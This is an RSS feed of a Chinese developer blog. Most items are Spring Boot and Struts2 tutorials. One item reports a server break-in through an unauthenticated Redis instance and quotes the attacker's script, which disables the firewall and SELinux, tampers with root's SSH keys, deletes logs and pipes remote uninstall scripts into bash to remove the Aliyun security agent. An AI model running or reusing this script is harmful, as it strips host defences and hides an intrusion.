张子的自留地 - 后端
type: channel
link: https://www.znzzi.com/category/backend/
items: Redis未授权弱口令入侵服务器
items: Spring Boot + Vue 实现邮箱验证码及注册
items: Spring Boot 发送验证码
items: Spring Boot 整合 MyBatis-Plus 简单 Demo
items: Spring Boot项目目录结构
items: Spring Boot启动Banner修改以及关闭
items: Intellij IDEA 2021.3搭建Spring Boot项目
items: Interlij IDEA关闭tomcat服务器时出现警告"为防止内存泄漏，JDBC驱动程序已被强制取消注册"的解决办法
items: 解决Unable to find taglib [s] for URI: [/struts-tags]
items: 记-在用IntelliJ IDEA搭建Struts2框架时遇到的一些问题

Redis未授权弱口令入侵服务器
type: item
date: 2023-02-15T12:00:00+00:00
description: 起因由于项目需要，将一台闲置服务器开启了Redis服务并且设置了公网访问，在偶尔的一次查看Redis过程中，发现了4条来源不明的数据根据脚本内容逐渐发现被黑客入侵了，而且好像打算用来挖矿，不过庆幸的是系统里也没有定时任务运行，不清楚真正的目的排查从阿里的控制台发现ECS告警确实有三条来自美国的IP以root用户进入系统因此先对root下的定时任务进行排查，结果发现没有定时任务#查看定时任务列表 crontab -l #删除所有定时任务 crontab -r然后根据网上的信息得知是通过Redis入侵到服务器在排查了其他进程和文件之后，确定服务器还没有被利用，所以及时做了防护措施具体相关介绍可以看这篇文章：https://blog.csdn.net/fdl123456/article/details/103932845解决本来想着重装一下系统，但是由于服务器上还有别的项目，就没重装并且由于项目的需要，所以暂时不能关闭公网访问，只好对登录redis设置了极为复杂的密码并重置了ssh密钥登录最后关于恶意脚本的解读可以看这篇文章：https://blog.csdn.net/qq_39241986/article/details/123102746恶意脚本内容如下#!/bin/sh ulimit -n 65535 chmod 777 /usr/bin/chattr chmod 777 /bin/chattr chattr -iua /tmp/ chattr -iua /var/tmp/ iptables -F ufw disable echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf chattr -iae /root/.ssh/ chattr -iae /root/.ssh/authorized_keys chattr -iua /tmp/ chattr -iua /var/tmp/ rm -rf /tmp/addres* rm -rf /tmp/walle* rm -rf /tmp/keys rm -rf /var/log/syslog setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/zzhs rtdir="/etc/zzhs" bbdir="/usr/bin/curl" bbdira="/usr/bin/cd1" ccdir="/usr/bin/wget" ccdira="/usr/bin/wd1" mv /usr/bin/wgettnt /usr/bin/wd1 mv /usr/bin/curltnt /usr/bin/cd1 mv /usr/bin/wget1 /usr/bin/wd1 mv /usr/bin/curl1 /usr/bin/cd1 mv /usr/bin/cur /usr/bin/cd1 mv /usr/bin/cdl /usr/bin/cd1 mv /usr/bin/cdt /usr/bin/cd1 mv /usr/bin/xget /usr/bin/wd1 mv /usr/bin/wge /usr/bin/wd1 mv /usr/bin/wdl /usr/bin/wd1 mv /usr/bin/wdt /usr/bin/wd1 mv /usr/bin/wget /usr/bin/wd1 mv /usr/bin/curl /usr/bin/cd1 if ps aux | grep -i '[a]liyun'; then $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash ec…

Spring Boot + Vue 实现邮箱验证码及注册
type: item
date: 2022-02-17T16:59:00+00:00
description: 这是一个简单的demo，采用Spring Boot+Vue前后端分离的开发模式目前已实现以下功能：前后端交互获取验证码将邮箱写入数据库判断数据库是否存已存在邮箱前端部分访问页面Register.vue <el-form ref="form" :model="mailForm" label-width="60px" size="mini"> <el-form-item label="邮箱" class="em"> <el-input style="width: 260px;padding-right:12px" v-model="mailForm.email"/> <el-button type="primary" @click="getCode"> 发送验证码 {{ count }} s后重发 </el-button> </el-form-item> <el-form-item label="密码" class="cd"> <el-input type="password" v-model="mailForm.password"></el-input> </el-form-item> <el-form-item label="密码" class="cd"> <el-input type="password" v-model="password2"></el-input> </el-form-item> <el-form-item label="验证码" class="cd"> <el-input v-model="mailForm.code"></el-input> </el-form-item> <el-form-item> <el-button type="primary" @click="submit">注册</el-button> </el-form-item> </el-form> 后端部分Entity层User.javapackage com.zhangz1.maildemo.domain.entity; import com.baomidou.mybatisplus.annotation.TableName; /** * Created by zhangz1 on 2022/2/15 20:41 */ @TableName("email") public class User { private int id; private String email; private String password; private String code; public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getCode() { return code; } public void setCode(String code) { this.code = code; } @Override public String toString() { return "{" + "id=" + id + ", email='" + email + '\'' + ", password='" + password + '\'' + ", code='" + code + '\'' + '}'; } }Service层UserService.javapackage com.zhangz1.maildemo.service; import com.baomidou.mybatisplus.extension.service.IService; import com.zhangz1.maildemo.domain.entity.User; import org.springframework.transaction.annotation.Transactional; /** * Created by zhang1 on 2022/2/13 17:02 */ @Transactional(rollbackFor=Exception.class) public int…

Spring Boot 发送验证码
type: item
date: 2022-02-13T14:45:00+00:00
description: 1 创建Spring Boot项目2 导入依赖<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-mail</artifactId> <version>2.6.3</version> </dependency>3 配置application.ymlspring: mail: host: # 邮箱服务器 例：smtp.qq.com username: ****@qq.com password: **** properties: mail: smtp: auth: true starttls: enable: true required: true4 MailService.javapackage com.zhangz1.maildemo.service; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.stereotype.Service; import javax.annotation.Resource; import javax.mail.MessagingException; import javax.mail.internet.MimeMessage; /** * Created by zhang1 on 2022/2/13 17:02 */ @Service public class MailService { @Resource JavaMailSender mailSender; private final Logger logger = LoggerFactory.getLogger(MailService.class); public String send(String sender, String receiver, String title, String text) { try { //建立邮件消息 MimeMessage message = mailSender.createMimeMessage(); MimeMessageHelper helper = new MimeMessageHelper(message, true); //发送方 helper.setFrom(sender); //接收方 helper.setTo(receiver); //发送的标题 helper.setSubject(title); //发送的内容 helper.setText(text); mailSender.send(message); } catch (MessagingException e) { logger.error(e.getMessage()); } return "发送成功"; } }5 MailController.javapackage com.zhangz1.maildemo.controller; import com.zhangz1.maildemo.service.MailService; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import javax.annotation.Resource; import java.util.Random; /** * Created by zhangz1 on 2022/2/13 17:10 */ @RestController public class MailController { @Resource private MailService mailService; @RequestMapping("/sendMail") public String send() { String checkCode = String.valueOf(new Random().nextInt(899999) + 100000); String sender = "2659445660@qq.com"; //发送方邮箱 String receiver = "admin@zhang…

Spring Boot 整合 MyBatis-Plus 简单 Demo
type: item
date: 2022-01-24T11:01:00+00:00
description: 一、准备新建Spring Boot项目1.见文章[post cid="189" /]2.引入依赖<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-devtools</artifactId> <scope>runtime</scope> <optional>true</optional> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>com.baomidou</groupId> <artifactId>mybatis-plus-boot-starter</artifactId> <version>3.5.0</version> </dependency> <dependency> <groupId>com.baomidou</groupId> <artifactId>mybatis-plus</artifactId> <version>3.5.0</version> </dependency> </dependencies>3.配置application.yml（根据自己的配置调整）spring: datasource: driver-class-name: com.mysql.cj.jdbc.Driver url: jdbc:mysql://localhost:3306/demo username: demo password: demo mybatis-plus: configuration: #控制台打印完整带参数SQL语句 log-impl: org.apache.ibatis.logging.stdout.StdOutImpl #mapper映射文件路径 mapper-locations: mapper/**.xml4.添加@MapperScan[scode type="green" size=""]直接在Mapper类上面添加注解@Mapper，这种方式要求每一个Mapper类都需要添加此注解，比较麻烦，所以我们选择在启动类上添加@MapperScan，同时指定要扫描的Mapper类的路径[/scode]/** * @author zhangz1 */ @MapperScan("com.zhangz1.springbootdemo.mapper") @SpringBootApplication public class SpringBootDemoApplication { public static void main(String[] args) { SpringApplication springApplication = new SpringApplication(SpringBootDemoApplication.class); springApplication.run(args); } }[scode type="yellow" size=""]在使用maven等构建工具时，默认会将源码（java文件夹）编译后再加上资源目录（resources文件夹）的文件放到target目录下作为最后运行的文件，xml文件放到java文件夹里，编译时会被maven忽略，因此常采用在resources下新建文件夹，用来存放mapper的xml映射文件。[/scode]项目结构：二、实现1.数据库表结构：create table user ( id int(5) auto_increment primary key, username varchar(10) not null, password varchar(20) not null );2.给表赋值例值`INSERT INTO user (id, us…

Spring Boot项目目录结构
type: item
date: 2022-01-22T08:30:00+00:00
description: Spring Boot项目目录结构良好的命名风格有助于项目的开发和维护，发文记录一下比较标准的命名风格，也是自己比较喜欢的不仅仅适用于Spring Boot│ mvnw │ mvnw.cmd │ pom.xml │ README.md └─src ├─main │ ├─java │ │ └─com │ │ └─zhangz1 │ │ └─demo：项目名 │ │ │ DemoApplication.java：项目启动类 │ │ ├─config：放置配置类 │ │ ├─constants：放置常量、枚举等定义 │ │ │ ├─consist：存放常量定义 | | | ├─enums：存放枚举定义 │ │ ├─mapper/dao：放置数据访问层代码接口 │ │ ├─domain/model：数据领域模型 │ │ │ ├─entity：放置数据库实体对象定义 │ │ │ ├─dto：存放数据传输对象定义 │ │ │ ├─vo：存放显示层对象定义 │ │ ├─service：放置具体的业务逻辑代码（接口和实现分离） │ │ │ └─impl：存放业务逻辑实际实现 │ │ ├─utils：放置工具类和辅助代码 | | ├─filter：放置一些过滤、拦截相关的代码 │ │ └─controller：放置控制器代码 │ └─resources │ │ application.yml：项目配置文件，个人比较喜欢.yml型 │ │ ...... │ ├─mappers：放置映射文件 │ ├─static：存放html、css、js、图片等静态资源 │ └─templates：存放Thymeleaf等模板文件 └─test └─java └─com └─zhangz1 └─demo[scode type="blue" size=""]启动类DemoApplication.java推荐放在根目录com.zhangz1包下[/scode]

Spring Boot启动Banner修改以及关闭
type: item
date: 2022-01-19T08:32:00+00:00
description: 一、banner是什么banner就是启动Spring Boot项目后，控制台打印的横幅，如图二、如何修改修改时只需要在Spring Boot项目的resources文件夹下面创建一个banner.txt文件，Spring Boot启动的时候会去加载这个文件以zhangz1的一个banner为例 _ _ ___| |__ __ _ _ __ __ _ ___/ | |_ / '_ \ / _` | '_ \ / _` |_ / | / /| | | | (_| | | | | (_| |/ /| | /___|_| |_|\__,_|_| |_|\__, /___|_| |___/ 可以看到启动时已经变成我们修改的banner了同时banner也可以自由配置(具体移步百度)${AnsiColor.BRIGHT_RED}：设置控制台中输出内容的颜色${application.version}：用来获取MANIFEST.MF文件中的版本号${application.formatted-version}：格式化后的${application.version}版本信息${spring-boot.version}：Spring Boot的版本号${spring-boot.formatted-version}：格式化后的${spring-boot.version}版本信息分享几个定制banner的网站，文字、图片都可以http://patorjk.com/software/taag/https://www.bootschool.net/asciihttp://www.network-science.de/ascii/https://www.degraeve.com/img2txt.php三、如何关闭由于banner默认是显示的，所以有三种关闭方法通过启动类的main中代码关闭banner显示/** * @author zhangz1 */ @SpringBootApplication public class SpringBootDemoApplication { public static void main(String[] args) { SpringApplication springApplication=new SpringApplication(SpringBootDemoApplication.class); //关闭banner springApplication.setBannerMode(Banner.Mode.OFF); springApplication.run(args); } }application.properties配置文件spring.main.banner-mode=offEdit Configurations点击Modify options，弹出窗口，选择Hide Banner（idea版本不一样可能有所不同）

Intellij IDEA 2021.3搭建Spring Boot项目
type: item
date: 2022-01-19T07:45:00+00:00
description: 前言Spring Boot介绍使用SpringBoot可以让你快速搭建一个SpringWeb项目，它使用“习惯优于配置”的理念让你的项目快速运行起来。使用SpringBoot可以很容易创建一个独立运行（运行jar，内嵌Servlet容器）、准生产级别的基于Spring框架的项目。使用Spring Boot你可以不用或者是很少的配置。使用SpringBoot的优点：快速构建项；对主流开发框架的无配罝集成；项目可独立运行，无须外部依赖Servlet容器；提供运行时的应用监控；极大地提髙了开发、部署效率；与云计算的天然集成。一、选择Spring Initializr右边项目的相关信息可以参照Maven项目的填写，这里以springBootDemo命名项目1.Server URL是IDEA默认的下载spring相关文件的地址，需要在网络好的情况下才能行，否则报错2.Java版本的选择是随SDK的版本来的，我的SDK版本为17所以支持Java17，如果忘记修改会有错误提示二、选择依赖需要什么依赖就打上对勾即可一般是Web项目，所以我们勾选最基本的Web选项，同时我还勾选了Spring Boot DevTools，用于实现热部署，其他可以等用到的时候再添加这里简单介绍几个可能会用到的依赖Spring Boot Devtools：实现热部署Lombok：Java注解三、Finish点击Finish后等待idea加载索引搭建项目。成功后一个完整的Spring Boot项目的结构就搭好了。左侧为项目结构，右侧为初始打开的HELP.md文件目录结构及文件说明：+ src（源代码目录） + main（存放源代码） + java（存放 java 代码） - SpringBootDemoApplication （Spring Boot启动类，该类拥有 main 方法，用于启动应用程序） + resources（存放资源） - static（存放静态资源，如：html、js、img等） - template（存放模板文件，如：thymeleaf、freemarker模板等） - application.properties（Spring Boot 配置文件，可以为 .properties 或 .yml 类型） + test （存放测试代码） + java（存放 Java 测试代码） + resources（存放测试资源） + pom.xml（Maven 构建说明文件）运行默认的启动类SpringBootDemoApplication启动成功虽然我们没有实现视图层，但也可以访问localhost:8080[scode type="yellow" size=""]之所以没有配置Tomcat，是因为Spring Boot内置了Tomcat[/scode][scode type="blue" size=""]主要的几个代码说明：1、@SpringBootApplication：Spring Boot项目的核心注解，主要目的是开启自动配置。；2、@Configuration：这是一个配置Spring的配置类；3、@Controller：标明这是一个Spring MVC的Controller控制器；4、main方法：在main方法中启动一个应用，即：这个应用的入口；[/scode]

Interlij IDEA关闭tomcat服务器时出现警告"为防止内存泄漏，JDBC驱动程序已被强制取消注册"的解决办法
type: item
date: 2021-11-03T03:20:00+00:00
description: 报错信息：[font color="Red"]28-Oct-2021 19:48:56.228 警告 [main] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesJdbc Web应用程序 [demo] 注册了JDBC驱动程序 [com.mysql.cj.jdbc.Driver]，但在Web应用程序停止时无法注销它。 为防止内存泄漏，JDBC驱动程序已被强制取消注册。[/font][font color="Red"]28-Oct-2021 19:48:56.228 警告 [main] org.apache.catalina.loader.WebappClassLoaderBase.clearReferencesThreads Web应用程序[demo]似乎启动了一个名为[mysql-cj-abandoned-connection-cleanup]的线程，但未能停止它。这很可能会造成内存泄漏。线程的堆栈跟踪：[[/font][font color="Red"]java.base@16.0.1/java.lang.Object.wait(Native Method)[/font][font color="Red"]java.base@16.0.1/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)com.mysql.cj.jdbc.AbandonedConnectionCleanupThread.run(AbandonedConnectionCleanupThread.java:91)[/font][font color="Red"]java.base@16.0.1/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130)[/font][font color="Red"]java.base@16.0.1/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:630)[/font][font color="Red"]java.base@16.0.1/java.lang.Thread.run(Thread.java:831)][/font]解决方法：配置监听器，用来在Tomcat关闭时取消注册JDBC驱动程序，并将线程停止。编写自定义监听类package com.demo.db; /* * @fileName ContextListener.java * @author zhangz1 * @date 2021-10-28 19:18 * Copyright 2021 All rights reserved. */ import com.mysql.cj.jdbc.AbandonedConnectionCleanupThread; import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; import java.sql.DriverManager; import java.sql.SQLException; public class ContextListener implements ServletContextListener { @Override public void contextInitialized(ServletContextEvent arg0) { System.out.println("服务器启动"); } @Override public void contextDestroyed(ServletContextEvent arg0) { System.out.println("服务器停止"); try { while (DriverManager.getDrivers().hasMoreElements()) { DriverManager.deregisterDriver(DriverManager.getDrivers().nextElement()); } System.out.println("JDBC驱动关闭"); AbandonedConnectionCleanupThread.checkedShutdown(); System.out.println("清理进程"); } catch (SQLException e) { e.printSt…

解决Unable to find taglib [s] for URI: [/struts-tags]
type: item
date: 2021-10-23T08:09:00+00:00
description: 在运行struts2框架时出现了这个问题因为之前修改了tomcat里的配置文件，所以导致tomcat让它跳过了tld检查，其实再改回去就好了，详情请看下文[post cid="43" cover=""/]但是改回去仍会像之前那样报红这里还有一种解决方案就是把struts2-core-2.5.26.jar包下META-INF里的struts-tags.tld复制到WEB-INF目录下，如图，这样就不会报错了

记-在用IntelliJ IDEA搭建Struts2框架时遇到的一些问题
type: item
date: 2021-10-03T14:25:00+00:00
description: 一、org.apache.catalina.core.StandardContext.filterStart 启动过滤器异常这个问题已经困我很多天了，为此我也浪费了很多时间和精力，也尝试了Netbeans和eclipse，但是因为不熟悉两款软件，最终让我不想继续尝试，我就继续钻研idea的问题。本来之前电脑里的tomcat什么的都是比较稳定的版本（就是老版本），然而暑假因为重置了电脑，所以这些东西都不在了，我就重新装了一下，因为比较喜欢新的，所以直接全部都下载了最新的版本，下的是tomcat10，但是在搭建Struts2项目时，迟迟无法启动tomcat，最后发现是web.xml配置文件的版本和tomcat的不匹配，一定要对应！否则会出问题！[scode type="share"]我又来了，老师讲了一下，说tomcat10的版本不支持struts2，所以问题所在应该是tomcat版本问题，另外我的配置是tomcat9.0.53+struts2.5.26，若文章别处仍有问题，不吝赐教[/scode]官方说明传送门二、Cannot resolve symbol '/xxx.jsp'这个问题很容易解决，去Project Structure-Modules里把下面的对勾打上就可以了三、能够正常启动服务器，但控制台提示ERROR StatusLogger Log4j2 could not find a logging implementation. Please add log4j-core to the classpath. Using SimpleLogger to log to the console...意思是StatusLogger Log4j2找不到日志实现。请将log4j-core添加到类路径中。使用SimpleLogger登录控制台…因为我导入的是struts2.5.20的最小包min包，就是最基础的包，里面是没有log4j-core-2.11.1.jar这个包，所以我们可以去官网下载这个包官网传送门下载解压后我们去里面找到log4j-core-2.11.1.jar这个包，把他复制到项目的lib包下同时在项目的src下加入一个log4j2.xml文件，配置如下：<?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{ABSOLUTE} %5p %c{1}:%L - %m%n" /> </Console> <File name="LogFile" filename=".\mylog.log"> <PatternLayout pattern="%d{ABSOLUTE} %5p %c{1}:%L - %m%n" /> </File> </Appenders> <Loggers> <Root level="info"> <AppenderRef ref="Console" /> <!-- <AppenderRef ref="LogFile" /> --> </Root> </Loggers> </Configuration>最后重启服务器